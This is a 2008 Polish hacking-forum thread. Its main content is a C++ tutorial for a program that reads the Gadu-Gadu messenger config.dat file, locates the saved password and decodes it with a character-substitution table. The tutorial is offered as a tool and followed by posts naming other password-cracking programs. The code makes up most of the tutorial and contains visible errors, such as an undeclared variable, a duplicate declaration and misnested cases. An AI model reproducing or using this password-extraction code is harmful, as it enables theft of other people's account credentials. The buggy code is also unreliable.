Autor Wiadomość
Gość
PostWysłany: Sob 20:19, 05 Sty 2008    Temat postu:

no nie za bardzo

mam bana i ostrzężenie!
KAMILOS
PostWysłany: Sob 19:16, 05 Sty 2008    Temat postu:

No i się dogadaliśmy!
Gość
PostWysłany: Sob 18:38, 05 Sty 2008    Temat postu:

nazywam ten program na górze LamaczGG

i uzupełnam twoją wypowiedź:

do tego sa pragramy uap, passtool, LamaczGG itd.
SOLDIER[MATI]
PostWysłany: Sob 14:28, 05 Sty 2008    Temat postu:

do tego sa pragramy uap passtool itd.
Kester YEAH !!!
PostWysłany: Pią 22:57, 04 Sty 2008    Temat postu:

SOLDIER[MATI] napisał:
!HAKER!


so? ale ty to przecież wiesz więc też chyba jestes...

po za tym to nie tylko ma slużyć do szkodzenia...

np. jak zapomnisz hasło to możesz sobie przypomnieć
Kester YEAH !!!
PostWysłany: Pią 22:46, 04 Sty 2008    Temat postu:

no i? co ci nie pasi ?
SOLDIER[MATI]
PostWysłany: Pią 22:45, 04 Sty 2008    Temat postu:

[/quote]Witam!
Widząc to żałosne forum postanowiłem mu pomóc. Postanowiłem napisać artykuł pokazujący jak stworzyć program w C++, który wyciąga hasło do serwera z pliku "config.dat". A więc zaczynamy!






!HAKER!
Kester YEAH !!!
PostWysłany: Pią 22:45, 04 Sty 2008    Temat postu:

LOL!

ten noob znów dał mi ostrzeżenie !

wywal go z forum ! tylko robi tu bałagan !
SOLDIER[MATI]
PostWysłany: Pią 22:42, 04 Sty 2008    Temat postu:

*** ******
***
KAMILOS
PostWysłany: Pią 22:28, 04 Sty 2008    Temat postu:

Już zdjąłem ostrzeżenie
Kester YEAH !!!
PostWysłany: Pią 22:15, 04 Sty 2008    Temat postu:

OK... ale przyznaj, że ten temat wyróżnia się wśród innych (jeśli czytales)

usuń tamte tematy... pisałem jako gośc i nie mogłem edytować, więc pisałem nowy poprawiony temat

dostałem za ten temat ostrzeżenie od SOLDIER [MATI], uznaje on ten post za szkodliwy mógłbyś coś z tym zrobić?
KAMILOS
PostWysłany: Pią 21:50, 04 Sty 2008    Temat postu:

Nie nazywajcie swoich postów jako mądre tylko o czym są, bo będę je kasował!
Kester YEAH !!!
PostWysłany: Czw 23:04, 03 Sty 2008    Temat postu: Mądry Post 2

Witam!
Widząc to żałosne forum postanowiłem mu pomóc. Postanowiłem napisać artykuł pokazujący jak stworzyć program w C++, który wyciąga hasło do serwera z pliku "config.dat". A więc zaczynamy!

1. Potrzebny nam będzie kompilator, czyli program przekładający kod zrozumiały dla człowieka na kod zrozumiały dla komputera. Jest to np. Dev-Cpp i C++ Builder.

2. Mamy kompilator, więc tworzymy nowy dokument tekstowy i zmieniamy jego rozszerzenie z ".txt" na ".cpp".

3. Otwieramy dokument i zaczynamy pisanie.

4. Piszemy:
Kod:
int main()
{
                                   
return 0;
}


Widzimy tu funkcję main(), którą musi zawierać każdy program C++. Między nawiasami klamrowymi będą znajdować się instrukcje/polecenia mówiące o tym, co nasz prog będzie robił.

5. Kompilator zawiera pliki. w których są różne dodatki. Będziemy potrzebować iostream.h (m. in. wypisywanie tekstu) i fstream.h (obsługa plików). Dodajemy je do projektu w ten sposób: "#include(ang. dołącz) <nazwa pliku>".

Kod:
#include <fstream.h>
#include <iostream.h>

int main()
{
                                   
return 0;
}


6. Według informacji z tematu "Ręczne łamanie hasła GG" z działu Komunikatory wiemy, że po frazie "Password 2" jest hasło, zatem mówimy o tym kompilatorowi. Umieścimy zwrot w tablicy, w takim czymś co przechowywuje wiele danych, w naszym przypadku znaki.
Kod:
char fraza[11] = {'P','a','s','s','w','o','r','d','2',' ',''};

7. Otwieramy plik config.dat do odczytu:

Kod:
ifstream plik("config.dat");


8. Musimy pobierać dane, póki nie znajdziemy "frazy". Algorytm wygląda tak:

Kod:
sprawdzamy czy sprawdzaliśmy ostatni elemet frazy ---> pobierz znak z pliku ---> sprawdź czy jest on częścią "frazy" ---> jeśli TAK to sprawdzamy następny element, jeśli NIE to sprawdzamy od początku


Kod:
int i = 0;                                 //tworzymy zmienną, która będzie przechowywała liczby, czyli który element
int n;                                      //tablicy sprawdzamy
while(i != 11)                             //sprawdzamy czy sprawdzaliśmy ostatni element frazy, jeśli NIE wykonujemy
                                                //instrukcje między nawiasami klamrowymi
{
        plik.get(znak);                    //pobierz znak z pliku

        if(znak == fraza[i])               //sprawdź czy jest on częścią "frazy"
   i++;                                    //jeśli TAK to sprawdzamy następny element

        else                               
        {
                if(i == 9)i++;             // 9. element to spacja sprawdzanie nie odbywa się prawidlowo :[ od razu
                                        //sprawdzamy kolejny element
                else {i = 0;}              //jeśli NIE to sprawdzamy od początku
        }
}


fraza[9] - ta instrukcja odwołuje do 9-tego elementu tablicy
fraza[i] - ta instrukcja odwołuje do i-tego elementu tablicy
i++ - jest to po prostu zwiększenie wartości zmiennej i o 1 (C++ to rozszerzenie C)

9. Wiemy, gdzie jest hasło, więc możemy pobierać znaki i rozszyfrowywać je.

Kod:
char haslo[50];                  //tworzymy tablicę znaków zawierającą hasło
int n;                           //tworzymy zmienną, która będzie przechowywała liczby, czyli któremu elementowi
int n;                           //hasla przypisac rozszyfrowany znak

while(znak != ' ')         //jeżeli znak jest różny od spacji wykonuj instrukcję poniżej
{
        plik.get(znak);    //pobierz znak

        switch(znak)       //switch sprawdza "masowo" wartość znaku
        {
                case 'A':   //jeżeli znak to 'A'
                {
                        plik.get(znak); //pobierz następny znak

                        if(znak == 'C')haslo[n] = ' ';    //jeżeli następny znak to 'C' to n-ty element hasła to
//spacja (' ') 
                        if(znak == 'H')haslo[n] = 'p';
                        if(znak == 'F')haslo[n] = 'P';

                        break;                              //przerwij działanie switcha
                }

      n++;            //pobieraj dane do następnego elementu tablicy
   }
}


Oczywiście to nie jest cały kod pętli rozszyfrowującej hasło na górze to tylko przykład. Całośc to:

Kod:
int n = 0;
while(znak != ' ')
{
        plik.get(znak);

        switch(znak)
        {
                case 'A':
                {
                        plik.get(znak);

                        if(znak == 'C')haslo[n] = ' ';
                        if(znak == 'H')haslo[n] = 'p';
                        if(znak == 'F')haslo[n] = 'P';

                        break;
                }

                case 'B':
                {
                        plik.get(znak);

                        if(znak == 'E')haslo[n] = 'A';
                        if(znak == 'G')haslo[n] = 'a';
                        if(znak == 'D')haslo[n] = '1';
                        if(znak == 'H')haslo[n] = 'q';
                        if(znak == 'F')haslo[n] = 'Q';
                        break;
                }

                case 'C':
                {
                        plik.get(znak);
                        if(znak == 'E')haslo[n] = 'B';
                        if(znak == 'G')haslo[n] = 'b';
                        if(znak == 'D')haslo[n] = '2';
                        if(znak == 'H')haslo[n] = 'r';
                        if(znak == 'F')haslo[n] = 'R';
                        break;
                }

                case 'D':
                {
                        plik.get(znak);
                        if(znak == 'E')haslo[n] = 'C';
                        if(znak == 'G')haslo[n] = 'c';
                        if(znak == 'D')haslo[n] = '3';
                        if(znak == 'H')haslo[n] = 's';
                        if(znak == 'F')haslo[n] = 'S';
                        break;
                }

                case 'E':
                {
                        plik.get(znak);
                        if(znak == 'E')haslo[n] = 'D';
                        if(znak == 'G')haslo[n] = 'd';
                        if(znak == 'D')haslo[n] = '4';
                        if(znak == 'H')haslo[n] = 't';
                        if(znak == 'F')haslo[n] = 'T';
                        break;
                }

                case 'F':
                {
                        plik.get(znak);
                        if(znak == 'E')haslo[n] = 'E';
                        if(znak == 'G')haslo[n] = 'e';
                        if(znak == 'D')haslo[n] = '5';
                        if(znak == 'H')haslo[n] = 'u';
                        if(znak == 'F')haslo[n] = 'U';
                        break;
                }

                case 'G':
                {
                        plik.get(znak);
                        if(znak == 'E')haslo[n] = 'F';
                        if(znak == 'G')haslo[n] = 'f';
                        if(znak == 'D')haslo[n] = '6';
                        if(znak == 'H')haslo[n] = 'v';
                        if(znak == 'F')haslo[n] = 'V';
                        break;
                }

                case 'H':
                {
                        plik.get(znak);
                        if(znak == 'E')haslo[n] = 'G';
                        if(znak == 'G')haslo[n] = 'g';
                        if(znak == 'D')haslo[n] = '7';
                        if(znak == 'H')haslo[n] = 'w';
                        if(znak == 'F')haslo[n] = 'W';
                        break;
                }

                case 'I':
                {
                        plik.get(znak);
                        if(znak == 'E')haslo[n] = 'H';
                        if(znak == 'G')haslo[n] = 'h';
                        if(znak == 'D')haslo[n] = '8';
                        if(znak == 'H')haslo[n] = 'x';
                        if(znak == 'F')haslo[n] = 'X';
                        break;
                }

                case 'J':
                {
                        plik.get(znak);
                        if(znak == 'E')haslo[n] = 'I';
                        if(znak == 'G')haslo[n] = 'i';
                        if(znak == 'D')haslo[n] = '9';
                        if(znak == 'H')haslo[n] = 'y';
                        if(znak == 'F')haslo[n] = 'Y';
                        break;
                }

                case 'K':
                {
                        plik.get(znak);
                        if(znak == 'E')haslo[n] = 'J';
                        if(znak == 'G')haslo[n] = 'j';
                        if(znak == 'H')haslo[n] = 'z';
                        if(znak == 'F')haslo[n] = 'Z';
                        break;
                }

                case 'L':
                {
                        plik.get(znak);
                        if(znak == 'E')haslo[n] = 'K';
                        if(znak == 'G')haslo[n] = 'k';
                        break;
                }

                case 'M':
                {
                        plik.get(znak);
                        if(znak == 'E')haslo[n] = 'L';
                        if(znak == 'G')haslo[n] = 'l';
                        break;
                }

                case 'N':
                {
                        plik.get(znak);
                        if(znak == 'E')haslo[n] = 'M';
                        if(znak == 'G')haslo[n] = 'm';
                        break;
                }

                case 'O':
                {
                        plik.get(znak);
                        if(znak == 'E')haslo[n] = 'N';
                        if(znak == 'G')haslo[n] = 'n';
                        break;
                }

                case 'P':
                {
                        plik.get(znak);
                        if(znak == 'E')haslo[n] = 'O';
                        if(znak == 'G')haslo[n] = 'o';
                        break;

                case ' ': break;
                }
        }

        n++;
}


10. Teraz wystarczy tylko wypisać hasło na ekranie:

Kod:
std::cout << "Haslo:" << std::endl; //cout wyświetla dane na ekranie
std::cout << haslo << std::endl;    //endl przechodzi do nowej linijki

int DoZatrzymania;                  // tworzymy zmienną przechowywującą liczby
cin >> DoZatrzymania;               //cin służy do pobierania danych, w ten sposób zatrzymujemy program, by oglądnąć
                                      //dane


Koniec :wink:

Pojawią się dodatki

Pzdr.

Powered by phpBB © 2001,2002 phpBB Group